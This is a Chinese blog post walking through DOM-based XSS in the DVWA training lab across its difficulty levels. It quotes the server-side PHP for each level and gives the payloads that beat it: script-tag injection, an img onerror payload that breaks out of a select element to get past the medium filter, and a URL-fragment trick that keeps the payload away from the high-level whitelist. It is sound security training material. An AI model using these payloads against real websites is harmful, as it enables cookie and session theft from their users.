DVWA-XSS(DOM型)

XSS(全称Cross Site Scripting)为区分css改名为XSS,也叫跨站脚本攻击,因为XXS攻击方式是通过向网页中注入恶意代码,使访问者在不知情的情况下访问被注入的页面时,触发执行其中的恶意代码,达到攻击目的。

XSSDOM型)是XSS跨站脚本攻击中的一种,是基于DOM文档对象模型的一种漏洞。DOM(全称Document Object Model),使用DOM可以使程序和脚本能动态访问更新文档的内容、结构和样式。

 

--low级别:

服务器端代码:

<?php

# No protections, anything goes

?>

从代码中可以看出,当前没有对提交的内容做任何限制。

正常访问页面效果如下:

注入script脚本,获取cookie信息

<script>alert(document.cookie)</script>

 

--medium级别:

服务器端代码:

<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    $default = $_GET['default'];

    

    # Do not allow script tags

    if (stripos ($default, "<script") !== false) {

        header ("location: ?default=English");

        exit;

    }

}

?>

medium代码中对<script>标签的<script 部分进行过滤。可以通过onerror事件触发执行javascript代码。支持html标签<img>, <input type="image">, <object>, <link> 以及 <script>

获取cookie信息,这里首先需要先截断<select>标签,因为option的内容通过document.write()方式显示页面内容。如下:

具体如下:

</option></select><img src='x' onerror='alert(document.cookie)'>

或者

</select><img src='x' onerror='alert(document.cookie)'>

 

--high级别:

服务器端代码:

<?php

// Is there any input?

if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages

    switch ($_GET['default']) {

        case "French":

        case "English":

        case "German":

        case "Spanish":

            # ok

            break;

        default:

            header ("location: ?default=English");

            exit;

    }

}

?>

high中在服务器端对接收的参数内容进行过滤,可以通过在浏览器地址栏中加上#符号将script脚本内容拦截在当前页面执行,不将其当做参数提交。

看一下在没有在地址栏中加#号,接口请求的参数,如下:

English<script>alert(document.cookie)</script>

在地址栏中加上script脚本前加入空格符和#符号后,接口没有将script脚本的信息提交到服务器端并在当前页面中执行。

English #<script>alert(document.cookie)</script>

 

--impossible级别:

服务器端代码:

<?php

# Don't need to do anything, protction handled on the client side

?>

impossible中服务器代码跟low一样,也是没有做任何处理,但是在前端页面中,没有将地址栏中的参数通过decodeURI进行解密,直接当做字符串显示。由于地址栏默认会将<>括号和空格符等特殊意义的字符进行转义了,如果没有decodeURI将其还原那浏览器就直接当做内容显示。如下:

可以尝试将地址栏的被转义字符还原后,就能运行其脚本内容,如下:

 

posted @ 2024-02-23 01:37  西夏一品唐  阅读(202)  评论(0编辑  收藏  举报